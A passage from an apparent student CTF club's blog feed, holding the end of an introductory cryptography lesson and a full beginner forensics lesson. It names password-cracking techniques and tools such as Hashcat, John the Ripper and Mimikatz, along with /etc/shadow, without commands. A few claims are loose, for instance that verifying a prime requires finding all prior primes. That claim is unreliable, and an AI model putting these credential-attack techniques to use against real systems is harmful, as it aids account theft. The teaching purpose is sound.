<p>One-time pad is like a substitution cipher except the mapping is continuous—what each character maps to changes every time the letter is used. The power of OTP is that it is theoretically unbreakable. However, the pad must be continuously changed, it cannot be reused, and the mapping must be random.</p>

<h3 id="other-ciphers">Other Ciphers</h3>

<ul>
  <li>ROT13 (Caesar cipher)</li>
  <li>Vigenère Cipher</li>
  <li>Rail Fence</li>
</ul>

<h2 id="helpful-operations">Helpful Operations</h2>

<h3 id="xor-exclusive-or">XOR (Exclusive OR)</h3>

<p>In binary, the XOR function has the following mapping:</p>

<table>
  <thead>
    <tr>
      <th>Input 1</th>
      <th>Input 2</th>
      <th>Output</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>0</td>
      <td>0</td>
      <td>0</td>
    </tr>
    <tr>
      <td>0</td>
      <td>1</td>
      <td>1</td>
    </tr>
    <tr>
      <td>1</td>
      <td>0</td>
      <td>1</td>
    </tr>
    <tr>
      <td>1</td>
      <td>1</td>
      <td>0</td>
    </tr>
  </tbody>
</table>

<p>It is the equivalent to saying you can have one or the other but not both. A 1 or a 0 but not both 1s or both 0s.</p>

<p>The XOR is denoted with ⊕ in math or ^ in code.</p>

<p>The power of XOR is in how it relates values together. If the plaintext is 0011 and the randomly generated key is 1010, the ciphertext is 0011 ^ 1010 = 1001. Now we can combine the ciphertext with the key to get the plaintext: 1001 ^ 1010 = 0011 or combine the plaintext with the ciphertext to get the key 1001 ^ 0011 = 1010. With any two values, you can get the third with XOR.</p>

<p>XOR offers a fairly simple way to implement OTP. Simply take the data you want to encrypt in binary, generate a random key in binary of the same length, and XOR them together to get your ciphertext which is mathematically impossible to break if properly implemented. XOR is also used for error correction.</p>

<h3 id="modulus">Modulus</h3>

<p>Modulus is the remainder after division, often denoted with % in programming. What’s nice about it is that it’s easy to verify the remainder of two numbers but difficult to determine the original numbers from the remainder. There are also some neat theorems in modulus math.</p>

<p>Forms the basis of algorithms like RSA
Enables finite field arithmetic
Example: 17 % 5 = 2</p>

<h3 id="prime-numbers">Prime Numbers</h3>

<p>Finding prime numbers is computationally expensive because you must find every prior prime number to verify. When you take the product of two prime numbers, the only factors of the product are the prime numbers you used, itself, and 1. This is helpful in cryptography because it is very easy to find the product of two large prime numbers but difficult to find the factors only knowing the product.</p>

<h2 id="symmetric-vs-asymmetric-encryption">Symmetric vs. Asymmetric Encryption</h2>

<h3 id="symmetric-encryption">Symmetric Encryption</h3>

<p>Same key for encryption and decryption
Fast and efficient for large data
Examples: AES, DES, Blowfish
Key distribution is a challenge
CTF challenges often involve finding the key</p>

<h3 id="asymmetric-encryption">Asymmetric Encryption</h3>

<p>Different keys for encryption (public) and decryption (private)
Slower than symmetric encryption
Examples: RSA, ECC, ElGamal
Solves key distribution problem
CTF challenges often involve mathematical weaknesses</p>

<p><a href="https://youtu.be/6H_9l9N3IXU">Here is a very good video</a> that explains how both symmetric and asymmetric encryption works: Will Quantum Computers break encryption?
Watch up to 5:20 (it will talk about quantum encryption after which we won’t cover).</p>

<p>Many internet protocols, including HTTPS which secures web traffic, will use both asymmetric and symmetric encryption.</p>

<h2 id="modern-encryption">Modern Encryption</h2>

<h3 id="des-data-encryption-standard">DES (Data Encryption Standard)</h3>

<ul>
  <li>A symmetric key encryption system</li>
  <li>Essentially broken with modern systems</li>
</ul>

<h3 id="rsa-rivest-shamir-adleman">RSA (Rivest-Shamir-Adleman)</h3>

<ul>
  <li>Public-key cryptosystem based on the difficulty of factoring large primes</li>
  <li>Key components:
    <ul>
      <li>Public key: (n, e) where n = p × q (p, q are large primes)</li>
      <li>Private key: d (calculated from e, p, q)</li>
      <li>Encryption: C = M^e mod n</li>
      <li>Decryption: M = C^d mod n</li>
    </ul>
  </li>
  <li>CTF challenges may involve:
    <ul>
      <li>Small prime factors</li>
      <li>Low encryption exponents</li>
      <li>Common modulus attacks</li>
      <li>Timing attacks</li>
    </ul>
  </li>
</ul>

<h2 id="hashing-and-password-security">Hashing and Password Security</h2>

<h3 id="hashing">Hashing</h3>

<p>A hash function is a one-way function that maps data to fixed-size values. An example is the word “hello” producing the hash “5d41402abc4b2a76b9719d911017c592” with the MD5 algorithm.</p>

<p>Hash functions generally have the following properties:</p>

<ul>
  <li>Deterministic: same input always produces same output</li>
  <li>Quick to compute*</li>
  <li>Infeasible to reverse</li>
  <li>Small changes in input cause large changes in output</li>
</ul>

<p>*Sometimes hash functions are intentionally made slower to defend against brute forcing attacks.</p>

<p>Hash functions are particularly useful for three applications:</p>

<ol>
  <li>Password storage. Instead of storing passwords in plaintext for anyone to see, you can hash the passwords beforehand and then just compare the hashes to validate passwords without ever storing the real password.</li>
  <li>Verifying data integrity. For example, when police take in large data hard drives for evidence, they might save a hash of the data to ensure the data wasn’t corrupted or tampered with. Since any small error will result in a completely different hash function, data integrity can be checked by hashing the data again and comparing if the hashes are the same.</li>
  <li>Hashmaps in programming which we will not talk about.</li>
</ol>

<ul>
  <li>Common algorithms: MD5, SHA-1, SHA-256, SHA-512</li>
  <li>Today, MD5 and SHA-1 are not considered secure for password storage due to low complexity and known hashes saved in databases</li>
</ul>

<h3 id="salting">Salting</h3>

<p>Salting is a strategy to increase the security of a hash by appending some data at the end of a password before hashing.</p>

<ul>
  <li>Reduces the effectiveness of rainbow tables and precomputed attacks</li>
  <li>Unique per password</li>
  <li>Format often: hash(password + salt)</li>
  <li>Example: hash(“password” + “r4nd0m”) instead of just hash(“password”)</li>
</ul>

<h3 id="password-storage">Password Storage</h3>

<h4 id="windows">Windows</h4>

<ul>
  <li>Security Account Manager (SAM) database</li>
  <li>Will not be covered in depth</li>
</ul>

<h4 id="linux">Linux</h4>

<ul>
  <li>/etc/passwd on older systems and /etc/shadow on newer systems</li>
  <li>Only root can view /etc/shadow</li>
  <li>All passwords are hashed</li>
</ul>

<h4 id="in-general">In General</h4>

<ul>
  <li>Best practices:
    <ul>
      <li>Never store plaintext passwords</li>
      <li>Use strong hashing algorithms (bcrypt, Argon2, PBKDF2)</li>
      <li>Implement proper salting</li>
    </ul>
  </li>
  <li>Common vulnerabilities in CTFs:
    <ul>
      <li>Weak hashing algorithms</li>
      <li>No salting</li>
      <li>Predictable salts</li>
      <li>Database dumps with password hashes</li>
    </ul>
  </li>
</ul>

<h3 id="techniques-for-breaking-hashespasswords">Techniques for Breaking Hashes/Passwords</h3>

<ul>
  <li>Brute forcing: Trying every possible password</li>
  <li>Dictionary attack: Similar to brute forcing. Uses wordlists of common passwords or can be more specific to the target like pet names, sports teams, company lingo, etc. There are many wordlists online of common passwords—a particularly famous one is rockyou.txt from a 2009 data breach of over 32 million accounts with passwords stored in plaintext. Kali will have a couple wordlists including rockyou.txt saved by default.</li>
  <li>Rainbow Tables/precomputed hashes: There are databases mapping common passwords to their respective hashes making it easy to break MD5 and SHA-1 hashes.</li>
  <li>Exploiting pseudo-random generation: Computers technically cannot generate true random values. They might take data like time, CPU temperature, mouse movements, etc. as seeds to help generate pseudo-random values. If such data is predictable, a hacker may be able to guess.</li>
</ul>

<p>Understand that brute forcing takes a very long time. It might be helpful to do some quick math to estimate how long a brute force attack will take. You can try running a brute-forcing program for a few minutes and check the progress to estimate how long it will take. Most CTFs should not take more than a couple minutes to solve with the correct technique. If a brute force attack takes on the order of hours to solve, there is an easier way to solve it.</p>

<h2 id="tools">Tools</h2>

<h3 id="john-the-ripper">John the Ripper</h3>

<ul>
  <li>Versatile password cracker</li>
  <li>Supports many hash types</li>
  <li>Features:
    <ul>
      <li>Dictionary attacks</li>
      <li>Brute force</li>
      <li>Rule-based attacks</li>
    </ul>
  </li>
</ul>

<h3 id="hashcat">Hashcat</h3>

<ul>
  <li>GPU-accelerated password cracker</li>
  <li>Extremely fast compared to CPU-based tools</li>
</ul>

<h3 id="mimikatz">Mimikatz</h3>

<ul>
  <li>Windows security tool for extracting plaintext passwords</li>
  <li>Can extract Windows password hashes</li>
  <li>Look for Windows memory dumps in CTF challenges</li>
</ul>

<h3 id="openssl">OpenSSL</h3>

<ul>
  <li>Toolkit for TLS/SSL protocols and general cryptography</li>
  <li>Features:
    <ul>
      <li>Generate keys and certificates</li>
      <li>Encrypt/decrypt files</li>
      <li>Create and verify signatures</li>
    </ul>
  </li>
</ul>

<h2 id="ctf-approach-for-crypto-challenges">CTF Approach for Crypto Challenges</h2>

<ol>
  <li>Identify the algorithm: Look for clues in the challenge description or file format</li>
  <li>Check for known vulnerabilities: Research common attacks against the identified algorithm</li>
  <li>Look for implementation flaws: CTFs often include deliberate weaknesses</li>
  <li>Use appropriate tools: Select the right tool based on the challenge type</li>
  <li>Document your process: Keep track of attempted approaches</li>
</ol>

<h2 id="practice-resources">Practice Resources</h2>

<ul>
  <li><a href="https://cryptohack.org/">CryptoHack</a> - Interactive cryptography challenges</li>
  <li><a href="https://cryptopals.com/">CryptoPals</a> - Practical cryptography challenges</li>
  <li><a href="https://overthewire.org/wargames/krypton/">OverTheWire: Krypton</a> - Cryptography wargame</li>
</ul>

<p>It’s incredibly unlikely that you will find a zero-day vulnerability in encryption algorithms. More likely, the issue is in proper implementation ie. reused keys, low complexity, improper key exchange, etc.</p>]]></content><author><name>Jakob Nacanaynay</name></author><category term="nme" /><category term="cryptography" /><category term="learn" /><category term="beginner-friendly" /><category term="ctf" /><category term="jeopardy" /><summary type="html"><![CDATA[test your understanding of encryption, decryption, hashing, and related security concepts]]></summary></entry><entry><title type="html">Forensics 1</title><link href="/2025/03/06/forensics-1.html" rel="alternate" type="text/html" title="Forensics 1" /><published>2025-03-06T00:00:00+00:00</published><updated>2025-03-06T00:00:00+00:00</updated><id>/2025/03/06/forensics-1</id><content type="html" xml:base="/2025/03/06/forensics-1.html"><![CDATA[<p>Warning: <em>Drafted with Claude, prompted and edited by humans</em></p>

<h2 id="introduction">Introduction</h2>

<p>Forensics challenges in Capture The Flag (CTF) competitions test your ability to discover hidden information within files, systems, or data. These challenges simulate real-world digital forensics scenarios where investigators must recover evidence from digital artifacts. This guide covers the fundamental concepts and tools you’ll need to tackle forensics challenges.</p>

<h2 id="key-forensics-areas">Key Forensics Areas</h2>

<h3 id="encodings">Encodings</h3>

<p>Encodings are methods of representing data in different formats:</p>

<ul>
  <li>Binary: Raw 1s and 0s representation. A single binary character is a bit and eight are bytes. Refer to standard metric prefixes for larger sizes (ie. kilobyte indicates 1,000 bytes… or 1,024).</li>
  <li>Base64: Common encoding that converts binary data to ASCII text. It often ends with equals signs = but not always.</li>
  <li>Hexadecimal: Represents binary data using the characters 0-9 and A-F. It is common to do file analysis with hex editors because hexadecimal is a convenient way to represent binary data—a byte can be represented with only two hex characters.</li>
  <li>ASCII/ANSI/Unicode: Character encoding standards. When you open a file in Notepad, you are seeing the data interpreted with the ANSI encoding. ASCII and ANSI cover the standard characters and operations you see on your keyboard (a-z, A-Z, 0-9, !, [backspace], etc.) while Unicode is an extension for other languages.</li>
  <li>URL Encoding: Converts special characters for use in URLs</li>
</ul>

<p>It is important to note that encoding is not the same thing as encrypting. The purpose of encryption is to make the data unreadable to outsiders while encoding is just another way to format the data.</p>

<p>When approaching an encoding challenge, identify the encoding type first, then use the appropriate tool to decode it. To identify the encoding method, consider what characters are being used and note if the data seems to be random or somehow structured. Multiple layers of encoding are common.</p>

<p>Try playing with <a href="https://cyberchef.org/">CyberChef</a> which makes converting between encodings easy.</p>

<h3 id="file-formats">File Formats</h3>

<p>You’ve probably heard of file types: PDF, JPG, PNG, DOCX, etc. All of these formats specify how programs should be formatted for programs to interpret—ie. a JPG file is meant to be read as a picture, not a document.</p>

<p>A file extension, the last part of a filename, can technically be set to anything. For example, the file hello.png has the extension .png . However, I could rename the file to hello.docx and then Microsoft Word may try to open the file. Of course, it would not work since it would be reading the data wrong.</p>

<p>Files can contain hidden data or be disguised as different types:</p>

<ul>
  <li>File signatures/magic bytes: First few bytes that identify a file type</li>
  <li>File extension manipulation: Files with incorrect extensions</li>
  <li>File carving: Extracting files from within other files</li>
  <li>Corrupted files: Intentionally damaged files that need repair</li>
</ul>

<p>Always check if a file’s actual type matches its extension using tools like the file command which will check the magic bytes for the file format. You can use hex editors to reveal a file’s true structure. A common Linux hex editor is xxd, though online ones are often more featureful.</p>

<h3 id="metadata">Metadata</h3>

<p>Metadata is “data about data” and can contain hidden information:</p>

<ul>
  <li>EXIF data: Found in images, including camera details, GPS coordinates, timestamps</li>
  <li>Document properties: Author, creation date, revisions in documents</li>
  <li>File system metadata: Creation, modification, access times</li>
</ul>

<p>Creators often hide flags in metadata fields that aren’t immediately visible when viewing a file. A good utility for viewing EXIF data is exiftool.</p>

<h3 id="steganography">Steganography</h3>

<p>Steganography is the practice of hiding data within other data:</p>

<ul>
  <li>Image steganography: Hiding data in image pixels, often in least significant bits</li>
  <li>Audio steganography: Concealing data in audio files, sometimes audible only in spectrograms</li>
  <li>Text steganography: Using invisible characters, specific letter patterns, or whitespace</li>
</ul>

<p>Stego challenges may require password extraction from other parts of the challenge. For years, I have referred to <a href="https://0xrick.github.io/lists/stego/">0xRick’s list of steganography tools</a> for common steg-solving programs. <a href="https://aperisolve.com/">Aperisolve</a> is another tool which will automate many steganography and analysis operations.</p>

<h3 id="disk-image-and-memory-forensics">Disk Image and Memory Forensics</h3>

<p>These challenges involve analyzing captured system states:</p>

<ul>
  <li>Disk images: Complete copies of storage devices containing file systems, deleted files. They can be analyzed with tools like Autopsy.</li>
  <li>Memory dumps: Snapshots of system RAM, containing running processes, passwords in cleartext. An appropriate tool for memory dumps is Volatility.</li>
  <li>Registry analysis: Windows registry keys and values that may contain important information</li>
  <li>Log analysis: System and application logs that record events</li>
</ul>

<p>These challenges most closely resemble professional digital forensics work. We will not be going in depth on disk image forensics and memory forensics, though it can be fun to learn.</p>

<p>Often, the challenges will consist of looking through dumps for files, programs, and running processes containing <a href="https://youtu.be/Ej-Nr79bVjg">cool</a> information.</p>

<h2 id="tools">Tools</h2>

<ul>
  <li><a href="https://gchq.github.io/CyberChef/">CyberChef</a> - Quickly convert encodings</li>
  <li><a href="https://0xrick.github.io/lists/stego/">0xRick Steganography</a> - List of steganography commands</li>
  <li><a href="https://aperisolve.com/">Aperisolve</a> - Automate several basic steganography tasks</li>
  <li><a href="https://www.autopsy.com/">Autopsy</a> - Analyze disk images</li>
  <li><a href="https://github.com/volatilityfoundation/volatility">Volatility</a> - Analyze memory dumps</li>
  <li><a href="https://hexed.it/">HexEd.it</a> - Online hex editor</li>
</ul>

<h2 id="general-approach-to-forensics-challenges">General Approach to Forensics Challenges</h2>

<ol>
  <li>Identify the challenge type: Determine what kind of forensics challenge you’re facing.</li>
  <li>Examine the file properties: Check file type, size, and metadata.</li>
  <li>Use appropriate tools: Select tools based on challenge type.</li>
  <li>Think creatively: CTF creators often use misdirection; look beyond the obvious.</li>
  <li>Document your process: Track what you’ve tried to avoid repetition.</li>
</ol>

<p>Remember, forensics challenges often combine multiple concepts. The best approach is methodical analysis using appropriate tools while documenting your steps.</p>

<h2 id="optional-readings">Optional Readings</h2>

<ul>
  <li><a href="https://ctf101.org/forensics/overview/">CTF Handbook - Forensics</a></li>
</ul>

<h2 id="practice-problems-on-picoctf">Practice Problems on picoCTF</h2>

<ul>
  <li>Secret of the Polyglot</li>
  <li>Scan Surprise</li>
  <li>Redaction gone wrong</li>
  <li>Matryoshka doll</li>
  <li>So Meta</li>
  <li>extensions</li>
  <li>DISKO 1</li>
  <li>Sleuthkit Intro</li>
  <li>Disk, disk, sleuth!</li>
</ul>]]></content><author><name>Jakob Nacanaynay</name></author><category term="nme" /><category term="forensics" /><category term="learn" /><category term="beginner-friendly" /><category term="ctf" /><category term="jeopardy" /><summary type="html"><![CDATA[discover hidden information within files, systems, or data]]></summary></entry></feed>